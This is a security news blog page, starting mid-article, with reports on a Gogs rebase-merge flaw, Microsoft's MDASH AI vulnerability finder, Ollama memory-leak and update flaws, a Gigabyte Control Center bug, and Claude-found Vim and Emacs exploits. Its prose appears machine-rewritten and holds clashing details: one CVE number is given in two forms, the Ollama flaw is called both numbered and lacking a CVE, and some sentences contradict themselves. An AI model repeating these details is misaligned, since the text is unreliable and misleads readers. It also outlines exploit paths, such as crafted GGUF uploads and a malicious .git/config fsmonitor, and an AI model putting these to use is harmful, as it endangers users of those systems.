In addition, this new flaw undermines the trust boundaries underlying shared Git hosting environments, making it a similar serious threat model. It is common for businesses, universities, and development teams to deploy multi-user software environments, where a single, authenticated account can control the underlying server infrastructure without having to gain access to another user's repository.

If code execution is achieved, an attacker will be able to access all repository files hosted on the instance, extract authentication credentials stored within the backend databases, enter adjacent network resources, and manipulate source code on the file system.

Gogs service accounts usually maintain unrestricted read and write rights across repositories that are stored under the same repository root; therefore, malicious modifications can bypass platform-level audit mechanisms and are difficult to identify in environments where commit-signing enforcement does not exist. It was also noted that exploitation can be highly practical and automated using publicly available tools, enabling attacks to be carried out within seconds with minimal forensic evidence remaining.

Gogs' implementation of the "Rebase before merging" feature has resulted in the issue, as it internally invokes the git rebase command to create a linear project history by replaying commits. With the --exec parameter, Git executes shell commands after each replayed commit, creating the exploitation primitive when malicious input is incorrectly handled.

While the rebase merge functionality is disabled by default, the repository can enable the feature through the project owner's settings, and new repositories are automatically assigned ownership to their creators, ensuring that abuse does not occur. Despite deployments that restrict repository creation, vulnerable code paths can still be exploited to execute remote commands by users who have access to repositories that support rebase merging.

Newly disclosed vulnerabilities in development platforms such as Gogs serve as a timely reminder that these platforms can magnify the impact of a single security weakness across entire software ecosystems. Considering the lack of a patch and the requirement for limited user privileges to exploit Gogs in common deployment configurations, organisations relying on Gogs should carefully evaluate repository permissions, disable unnecessary registration and repository creation features, and closely monitor merging activity.

In light of the continued reliance on software supply chains as a critical component of business operations, the security of source code infrastructure has become more than an issue of development it has become a fundamental security priority that requires continuous monitoring, prompt remediation, and proactive defence.

MDASH AI Helps Microsoft Detect 16 Critical Windows Security Flaws



 

Windows Vulnerabilities

AI cybersecurity Kernel Security MDASH AI Microsoft security Patch Tuesday Remote Code Execution Threat Detection Vulnerabilities and Exploits Windows Vulnerabilities

MDASH AI Helps Microsoft Detect 16 Critical Windows Security Flaws

The company has reported that the MDASH framework, developed internally by Microsoft for agentic artificial intelligence, was instrumental in identifying 16 security vulnerabilities affecting core Windows networking and authentication components, including four critical vulnerabilities that can be exploited remotely.

According to the discovery, which was addressed during Patch Tuesday's security rollout of May 2026, autonomous AI systems are not limited to the generation of code in defensive cybersecurity engineering. In addition to analyzing complex software environments, tracing insecure logic paths, and identifying exploitable weaknesses before threats can weaponize them, these tools are increasingly being used to analyze complex software environments.

Microsoft's Autonomous Code Security team developed MDASH, which is currently being tested by a select number of customers in a private preview program. MDASH is now actively supporting internal security engineering operations and is part of the company's wider effort to integrate AI-driven vulnerability research into enterprise-scale software assurance and development processes.

The MDASH framework is at the core of this initiative. It is an internally developed framework that works independently of any single language model while coordinating specialized AI agents tailored to specific vulnerability classes, a framework that is uniquely engineered for this purpose. By utilizing a combination of frontier-scale and distilled AI models, the platform distributes tasks across more than 100 purpose-built agents instead of relying on a conventional one-model scanning architecture.

Using the system, Taesoo Kim, Microsoft's vice president of agentic security, enables the detection of end-to-end vulnerabilities by autonomously identifying suspicious code behavior, challenging each other's findings, and independently validating exploitability before escalated results that are confirmed. MDASH is an analysis pipeline that consists of multiple stages.

After ingesting source code, MDASH constructs an internal threat model and maps the attack surface, and then dedicated agents conduct audits to identify possible vulnerabilities such as insecure logic, memory corruption, authentication vulnerabilities, and other exploitable conditions. In addition to eliminating false positives, a secondary layer of "debater" agents also performs adversarial reasoning workflows to verify technical validity and eliminate false positives.

As a result of the correlation between semantically similar findings, consolidating overlapped detections, and providing proof-based validation, the framework is able to demonstrate that vulnerabilities can be exploited practically. Using Microsoft's architecture, Microsoft says complex security analysis can be performed using state-of-the-art reasoning models, distilled models for large-scale validation tasks, and a high-capability, independent counteranalysis model.

Through layered reviews, Microsoft hopes to improve detection accuracy and reliability across enterprise-scale codebases including Windows. In addition to the TCP/IP networking stack, IKEEXT IPsec, HTTP.sys, Netlogon, DNS resolution mechanisms, and the legacy Telnet client, MDASH uncovered a number of deeply embedded Windows components that were susceptible to remote attack surfaces. These vulnerabilities underscore how wide a range of attacks can be conducted on modern operating systems.

According to Microsoft, ten of the identified vulnerabilities affect kernel-mode components and six affect user-mode services. Under realistic deployment scenarios, most of these vulnerabilities are remotely accessible without authentication. In total, four vulnerabilities were rated Critical, including CVE-2026-338277, an unauthenticated use-after-free issue in tcpip.sys, and CVE-2026-338248, a remotely exploitable double-free issue in the IKEv2 protocol over UDP port 500.

It is reported that MDASH demonstrated unusually high precision during validation exercises, in that all 21 intentionally seeded vulnerabilities were detected without generating false positives during internal testing. It was further stated by Microsoft that the framework recalled 96 percent of the five years of confirmed cases of the Microsoft Security Response Center for CLFS.sys and covered tcpip.sys in full, as well as scoring 88.45 percent on the CyberGym benchmark containing 1,507 real-world vulnerabilities, which is the highest score in the industry.

The broader research initiative continues to be closely tied to Microsoft's offensive and defensive security engineering ecosystems. Currently, the platform is deployed across Microsoft's engineering environments and is currently being evaluated by limited customers through a private preview program. A team led by Autonomous Code Security worked in collaboration with Windows Attack Research and Protection specialists who specialized in advanced offensive Windows research to spearhead development efforts.

A number of researchers involved in this project previously served as members of Team Atlanta, the team recognized for winning the DARPA AI Cyber Challenge using a system for discovering and patching vulnerabilities autonomously. The company stated that the implementation of autonomous auditing at an enterprise level can pose unique operational difficulties due to the proprietary nature of the Windows codebase and the absence of public training datasets.

In addition, low-tolerance production environments prevent inaccurate detections from occurring. These constraints can be addressed by MDASH by providing extensible plugins capable of injecting highly specialized contextual knowledge into the analysis pipeline. These include kernel calling conventions, synchronization rules, interprocess communication trust boundaries, and file-system structures that are not reliably inferred by general-purpose models.

A particular extension, developed for the Common Log File System (CLFS), generates triggering log artifacts from candidate findings automatically, allowing the framework to go beyond theoretical detection and provide proof-based vulnerability validation that engineering teams can use to remedy vulnerabilities directly.

Using CVE-2026-33827 as an example of advanced flaws that conventional single-model AI systems routinely fail to identify, Microsoft highlighted that vulnerability. In order to address this vulnerability, Microsoft implemented a strict source and record route processing process that improperly managed a reference-counted Path object during the Windows IPv4 receive path.

It is possible that the affected function reused the same pointer under alternate execution flow conditions after releasing its owned reference through a dereference operation, therefore causing a race-driven use-after-free scenario in kernel memory.

Due to the fact that the vulnerable code path processes attacker-controlled packet metadata and executes within an elevated networking context, a remote attacker could potentially exploit this flaw by sending specially crafted IPv4 packets containing SSRR options to their hosts. A Microsoft representative explained that the problem became significantly more dangerous as a result of the concurrency behavior of multiple independent cleanup subsystems that were capable of reclaiming the object before further reuse.

According to the company, single-model artificial intelligence systems often fail to detect such vulnerabilities since ownership violations are not readily apparent locally and are instead dependent on correlating reference semantics, branching conditions, concurrency interactions, and analogous patterns spread across distinct code paths to determine the violation.

The MDASH system was reported to have successfully analyzed the behavior of objects during their lifetimes, compared implementation inconsistencies elsewhere in the codebase, and assembled a coherent exploitation chain by using staged reasoning and adversarial verification through specialized agents. During Patch Tuesday in April 2026, the flaw was addressed.

Furthermore, Microsoft disclosed CVE-2026-33824, a critical double-free vulnerability affecting IKEEXT, a key exchange service for IPsec authentication. Remotely accessible via UDP port 500, the vulnerability is capable of triggering against systems configured as IKEv2 responders, such as RRAS VPNs, DirectAccesss, Always-On VPNs, and hosts with IPsec security policies that govern inbound connections. There was a vulnerability caused by an ownership handling error during fragment reassembly, which caused a packet receive context to be duplicated by using shallow memory copy operations.

A deterministic heap corruption condition was created within the LocalSystem svchost.exe process when teardown routines released the same memory region twice, resulting in reference to and assumption of ownership of the same heap allocation linked to a security realm identifier controlled by an attacker.

The vulnerability is particularly severe from a defensive perspective, as it only requires two crafted UDP packets without race conditions or precise timing requirements, making exploitation particularly easy. During analysis of the codebase, the company identified that the flaw extended across six separate source files, and that the vulnerability was triggered by subtle differences between ownership handling patterns that were incorrect and correctly implemented elsewhere.

Microsoft has stated that multiple file aliasing and lifecycle vulnerabilities are routinely evaded by conventional automated analysis because a single execution context does not expose the entire exploitation chain at once. MDASH's multi-agent debate and verification architecture is specifically credited for identifying those fragmented relationships and confirming the exploit path before publication.

The issue was also patched as part of April 2026 Patch Tuesday. There is a notable shift in how large-scale software security auditing will evolve in enterprise environments with the emergence of MDASH. Modern operating systems are becoming increasingly complex and difficult to assess through traditional manual methods alone.

The Microsoft AI platform combines autonomous reasoning, adversarial validation, and exploit-focused analysis in a coordinated multi-agent framework, enabling AI to not merely serve as a productivity tool, but also to provide an operational security layer capable of detecting deeply buried vulnerabilities within critical infrastructure code.

A growing number of threat actors are leveraging automation in offensive campaigns, and the company’s latest findings suggest that defensive research may become increasingly dependent on AI-driven systems capable of identifying exploitable weaknesses before they become operational.

Remote Exploitation Risk Emerges From Ollama Out-of-Bounds Read Flaw



 

Windows Update Flaw

AI Infrastructure Security AI Security CVE-2026-7482 Cybersecurity Threats GGUF Exploit Ollama Vulnerability Remote Code Execution Vulnerabilities and Exploits Windows Update Flaw

Remote Exploitation Risk Emerges From Ollama Out-of-Bounds Read Flaw

Increasing reliance on large language model infrastructure deployed locally has prompted a renewed focus on self-hosted artificial intelligence platforms' security posture after researchers revealed a critical vulnerability in Ollama that could lead to remote attackers gaining access to sensitive process memory without authorization.

CVE-2026-7482, a security vulnerability with a CVSS severity score of 9,1 describes an out-of-bounds read vulnerability that can expose large portions of memory associated with running Ollama processes, including user prompts, system instructions, configuration data, and environment variables, as a result of an out-of-bounds read. Because Ollama is widely used as a local inference platform for open-source large language models such as Llama and Mistral, the disclosure has raised significant concerns among artificial intelligence and cybersecurity communities.

By using their own infrastructure rather than using external cloud providers, organizations and developers are able to run AI workloads directly. There are approximately 170,000 stars on GitHub, over 100 million Docker Hub downloads, and deployment footprints on nearly 300,000 servers accessible through the internet, which highlight the growing security risks associated with rapidly adopted artificial intelligence ecosystems as well as the sensitive operational data they process.

Cyera has identified the vulnerability, dubbed Bleeding Llama, to originate from an insecure handling of GGUF model files within Ollama, in which the server implicitly trusts tensor dimension values embedded inside uploaded models without performing adequate boundary validations. Through this design weakness, an application can manipulate memory access operations during model processing by creating specially crafted GGUF files, forcing it to read data outside the application's intended memory buffers and incorporating fragments of sensitive runtime information into model artifacts generated by the application.

It is clear that the underlying problem is linked to the GPT-Generated Unified Format (GGUF), which is widely used to package and distribute large language models that can be efficiently executed locally. Similar to PyTorch's .pt and .pth models, safetensors, and ONNX models, GGUF enables developers to store and execute open-source models directly on local computers without the need for external resources.

The vulnerability is identified as a result of the manner Ollama processes these files during model creation, specifically by using Go's unsafe package within a function known as WriteTo(). The implementation inadvertently exposes the heap to out-of-bounds reads when malicious tensor metadata is supplied because it relies on low-level memory operations that bypass standard language safety protections.

It is possible to exploit this vulnerability by crafting a GGUF file with intentionally oversized tensor shape values and sending it to an exposed Ollama instance via the /api/create endpoint in an attack scenario. By manipulating dimensions, the application is forced to access memory regions outside the allocated boundaries during parsing and model generation. As a result, sensitive information contained within the Ollama process space is unintentionally disclosed.

According to researchers, exposed memory may contain environment variables, authentication tokens, API credentials, system prompts, as well as portions of concurrent user interactions processed by the same instance. CVE-2026-7482 functions differently from conventional exploitation techniques, as it is a silent disclosure mechanism preventing data leakage without crashes, visible failures, or immediate forensic indicators, as opposed to conventional exploitation techniques.

In internet-accessible deployments, the attack chain itself is considered relatively straightforward, significantly reducing the difficulty of remote exploitation. In order to manipulate Ollama into harvesting unintended memory regions during parsing and artifact generation, attackers can upload malicious GGUF models via the unauthenticated /api/create endpoint. These manipulated tensor dimensions then coerce Ollama into uploading the malicious model.

An artifact containing sensitive process data can then be exported through the unauthenticated /api/push endpoint, allowing covert exfiltration of stolen information. According to security researchers, since many Ollama instances remain directly exposed to the Internet without adequate access restrictions, the vulnerability poses a particularly serious risk to enterprises and developers using local AI infrastructure assuming self-hosted deployments provide a higher degree of data isolation.

Analysts warn that the “Bleeding Llama” vulnerability significantly increases the risks associated with self-hosted artificial intelligence infrastructure since unauthenticated attackers will have direct access to the active memory space of the Ollama process without the need for prior access or user involvement.

In combination with the widespread adoption by enterprises and developers of the platform, the simplicity of exploitation transforms the issue from a single software defect into a large-scale exposure concern for organizations whose sensitive workloads rely on locally deployed language models. In contrast to conventional vulnerabilities causing service disruption, memory disclosure flaws of this nature are capable of silently compromising valuable operational and proprietary data for extended periods of time.

A research study indicates that attackers could potentially extract confidential model weights, allowing for intellectual property theft or reconstruction of customized AI systems internally, as well as gathering sensitive prompts, business data, and user inputs processed by active models.

In addition to infrastructure details and authentication tokens, exposed memory may reveal API credentials, runtime configuration information, and API credentials that could facilitate further network compromises. As well as the immediate technical risks, such incidents are also likely to adversely affect organizations increasingly integrating artificial intelligence systems into critical operations, especially those where privacy and local data control are important components of their deployments.

Security teams across the industry have actively tracked this issue despite the absence of an official CVE identification number, which initially complicated the vulnerability disclosure process. According to defenders, organizations should prioritize rapid mitigation strategies, including immediately upgrading to patched Ollama releases once they are available, limiting public network exposure, implementing strict firewall and access control policies, and ensuring that the service operates under least privilege conditions to reduce access after a compromise has occurred.

Further, security professionals recommend that network anomalies be monitored continuously, infrastructure audits for misconfigurations be conducted, and deployment within isolated or segmented networks in highly sensitive environments to reduce the attack surface of internet-accessible artificial intelligence systems.

Furthermore, Striga researchers have identified two separate vulnerabilities that can be chained to result in persistent code execution within the Windows implementation of Ollama, compounding the disclosure surrounding "Bleeding Llama". Researchers have determined that the Windows desktop client is automatically launched during login through the Windows Startup folder and listens locally at 127.0.0.1:11434.

After checking for updates from the /api/update endpoint periodically, the pending installers are executed the next time the application is started. It is characterized by a combination of a missing signature verification flaw - CVE-2026-42288 - and a path traversal vulnerability - CVE-2026-42249 - both of which have been assigned CVSS scores of 7.7.

According to researchers, the installer signatures are not validated before execution and staging paths are constructed directly from HTTP response headers without proper sanitization, enabling malicious files to be written to locations controlled by the attacker. The flaws may allow arbitrary executables to be silently deployed and executed during system login in scenarios in which an adversary could manipulate update responses, including redirecting the OLLAMA_UPDATE_URL configuration to a controlled HTTP server, while automatic updates remain enabled by default.

The signature verification issue alone may allow temporary code to be executed from the staging directory, but when combined with a path traversal weakness, persistence can be achieved by writing payloads outside the expected update path, preventing subsequent legitimate updates from overwriting them.

Ollama for Windows versions 0.12.10 through 0.17.5 are affected by this vulnerability and should be disabled automatically by Microsoft. Users are advised to remove Ollama shortcuts from the Windows Startup directory until patches can be made available.

A broader security challenge is emerging across the rapidly evolving artificial intelligence ecosystem, which is being increasingly challenged by convenience-driven deployment models colliding with enterprise-grade security expectations as Ollama vulnerabilities develop in scope.

In response to organizations' increasing adoption of self-hosted large language model infrastructure for the purposes of retaining greater control over sensitive data and inference workloads, researchers warn that insufficient hardening, exposed interfaces, and insecure update mechanisms can result in locally deployed AI environments becoming high-value attack targets.

As a result of memory disclosure flaws, unauthenticated attack paths, and weaknesses within update workflows, AI infrastructure is becoming increasingly attractive to malicious actors looking to gain access to proprietary models, credentials, and operational intelligence, both opportunistic and sophisticated.

Several security experts maintain that artificial intelligence platforms cannot be considered experimental development tools operating outside the traditional security governance framework, but rather need to be integrated into the same rigorous vulnerability management, network segmentation, monitoring, and software lifecycle practices that are used for critical enterprise systems.

Arbitrary File Write Bug in Gigabyte Control Center Sparks Security Alerts



 

Windows Utility Exploit

Cyber Threats Gigabyte Control Center Vulnerability Patch Management Privilege Escalation Remote Code Execution Windows Utility Exploit

Arbitrary File Write Bug in Gigabyte Control Center Sparks Security Alerts

It is becoming increasingly apparent that trusted system utilities are embedded with persistent security risks, as GIGABYTE Control Center, a widely deployed Windows-based management tool that is packaged with select devices, has been put under scrutiny following the disclosure of a critical security flaw.

Inadvertently, the software designed to give users centralized control over essential hardware functions exposed a potential pathway for threat actors to alter system behavior on a fundamental level. Despite the fact that the vulnerability has been addressed, it is potential to exploit it in order to execute unauthorized code, write arbitrary files, and potentially disrupt system availability through denial-of-service.

Since the utility is deeply entwined with device operations and is installed on GIGABYTE motherboards, the vulnerability has significant implications for users as well as enterprises, making it increasingly important to deploy patches and harden systems in a timely manner. Software vulnerable to this vulnerability is GIGABYTE Control Center, which is pre-installed on all laptops and supported motherboards, serving as a central point of configuration and oversight for the entire system.

Integrated with Windows, it provides a comprehensive set of operational controls for monitoring and managing hardware, adjusting thermal and fan curves, optimizing performance, customizing RGB lighting, and installing driver and firmware updates.

The broad access to underlying system functions, which is intended to enhance user convenience, amplifies the potential impact of any vulnerabilities in the system. There is a particular concern regarding an integrated "pairing" feature designed to facilitate communication between host systems and external devices or services over a network.

When enabled in versions of Control Center up to and including 25.07.21.01, this function significantly expands the application's interaction surface. Thus, it introduces a vulnerability that can be exploited under specific circumstances, increasing the attack surface of affected systems by creating a network-exposed vector. It is this feature that makes it an important focal point when assessing the overall risk profile associated with the vulnerability because it is linked to elevated system privileges and network-enabled communication.

According to additional technical analysis, the issue may be related to the vulnerability CVE-2026-4415, which has a rating of 9.2 under CVSS 4.0 framework, and has been identified within the pairing mechanism within GIGABYTE Control Center versions 25.07.21.01 and earlier. As a result of insufficient safeguards regarding how the application handles network-initiated interactions, David Sprüngli is credited with discovering the vulnerability.

The pairing feature provides an opportunity for unauthenticated remote actors to write arbitrary files across the system's file structure when it is active. With the utility's elevated privileges and close integration with system processes, such access is potentially useful for the execution of remote code, escalation of privileges, or disruption of system availability.

A particularly concerning aspect of the vulnerability is its ability to bypass conventional trust boundaries, effectively creating a potential attack vector from a legitimate management feature. A new version of GIGABYTE's Control Center has been released, titled 25.12.10.01, which introduces a series of corrections across multiple functional layers, including download handling routines, message validation processes, and command-level encryption, as well as corrective measures for multiple functional layers. In combination, these enhancements mitigate the risks associated with the exposed pairing interface.

According to the company's advisory, users should update immediately and obtain the patched version only through official software distribution channels, thereby reducing the possibility of compromised or tampered installers occurring. Such incidents reinforce the importance of treating vendor-supplied utilities the same way we'd treat any externally sourced software, especially when they're elevated privileges and have network access.

The company and individual users should both adopt a proactive patch management strategy, audit pre-installed applications on a regular basis, and disable features not specifically required for use, such as remote pairing. The implementation of multiple security controls, including endpoint monitoring, network segmentation, and strict access policies, can significantly reduce exposure to similar threats.

The integration of hardware ecosystems and software-driven management layers becomes increasingly complex, so maintaining vigilance over these trusted components is crucial to maintaining the integrity of the overall system.

AI-Discovered Flaws in Vim and GNU Emacs Enable Remote Code Execution via File Opening



 

Vulnerabilities and Exploits

AI cybersecurity Claude AI vulnerability GNU Emacs flaw RCE exploit Remote Code Execution Vim vulnerability Vulnerabilities and Exploits

AI-Discovered Flaws in Vim and GNU Emacs Enable Remote Code Execution via File Opening

Security weaknesses in the widely used text editors Vim and GNU Emacs have been uncovered with the help of simple prompts given to the Claude AI assistant. These flaws could allow attackers to execute remote code merely by tricking users into opening a malicious file.

During the research, the AI assistant not only identified the vulnerabilities but also generated multiple proof-of-concept (PoC) exploits, refined them, and suggested potential fixes.

Vim and GNU Emacs are highly customizable text editors commonly used by developers and system administrators for coding, scripting, and terminal-based tasks. Vim, in particular, is deeply embedded in DevOps environments and comes pre-installed on most Linux distributions, embedded systems, and macOS.

Hung Nguyen, a cybersecurity researcher at Calif—a firm focused on AI red teaming and security engineering—discovered the Vim vulnerability by prompting Claude to locate a zero-day remote code execution (RCE) flaw triggered when opening a file.

Claude analyzed Vim’s source code and identified insufficient security checks, particularly in how modelines are handled. This allowed malicious code embedded within a file to execute as soon as the file is opened. A modeline is a snippet of text at the beginning of a file that instructs Vim on how to process it.

Even when such code was intended to run in a restricted sandbox, an additional flaw enabled attackers to bypass these protections and execute commands with the privileges of the current user.

The issue affects Vim versions 9.2.0271 and earlier and has not been assigned a CVE identifier. After Nguyen reported the vulnerability, Vim maintainers quickly released a fix in version 9.2.0272. They emphasized that simply opening a specially crafted file could trigger the exploit.

“An attacker who can deliver a crafted file to a victim achieves arbitrary command execution with the privileges of the user running Vim,” reads the bulletin.

GNU Emacs Vulnerability Linked to Git Integration

In contrast, the vulnerability affecting GNU Emacs remains unresolved, as its developers attribute the issue to Git rather than the editor itself.

The problem originates from Emacs’ version control integration (vc-git). When a file is opened, Emacs may trigger Git operations through vc-refresh-state. This process reads the .git/config file, where a malicious actor can define a core.fsmonitor program that executes arbitrary commands.

Nguyen demonstrated an attack scenario where a compressed archive—shared via email or cloud storage—contains a hidden .git directory with a manipulated configuration file pointing to a malicious script. Once the victim extracts the archive and opens a file, the payload executes silently under the default GNU Emacs setup.

While GNU Emacs maintainers argue that the issue lies within Git, the practical risk remains significant. The editor automatically invokes Git in untrusted directories without sanitizing potentially dangerous configurations, obtaining user consent, or enforcing sandbox protections.

To mitigate the threat, Nguyen recommended that GNU Emacs explicitly block the use of ‘core.fsmonitor’ in Git operations, preventing automatic execution of harmful scripts.

As no patch has yet been released for GNU Emacs, users are strongly advised to avoid opening files from untrusted or unknown sources.

Search This Blog

Sections

Popular Posts

Blog Archive

Labels

Report Abuse

About Me

Footer About

Labels

Showing result(s) for

Popular Posts

Pages

F5 Fixes BIG-IP APM Zero-Day Enabling Unauthenticated RCE

Microsoft Patches Nearly 1,000 Vulnerabilities in September Update

Attackers Turn Langflow and Rails Flaws Into Entry Points for Credential Probing

Remote Exploits Target Controller Flaws in Highway Signs and Digital Billboards

Ubiquiti UniFi OS Flaw Under Active Exploitation CISA Alerts Users

AutoJack Reveals New Threat to Autonomous AI Agent Security

Microsoft Exposes Malware Operation Combining USB LNK Worms and Tor-Based C2 Servers

Gogs Zero-Day Vulnerability Raises Alarm Over Server Security

MDASH AI Helps Microsoft Detect 16 Critical Windows Security Flaws

Remote Exploitation Risk Emerges From Ollama Out-of-Bounds Read Flaw

Arbitrary File Write Bug in Gigabyte Control Center Sparks Security Alerts

AI-Discovered Flaws in Vim and GNU Emacs Enable Remote Code Execution via File Opening

Footer About

Search This Blog

Sections

Popular Posts

Blog Archive

Labels

About Me

Footer About

Labels

Showing result(s) for

Popular Posts

Pages

Menu Item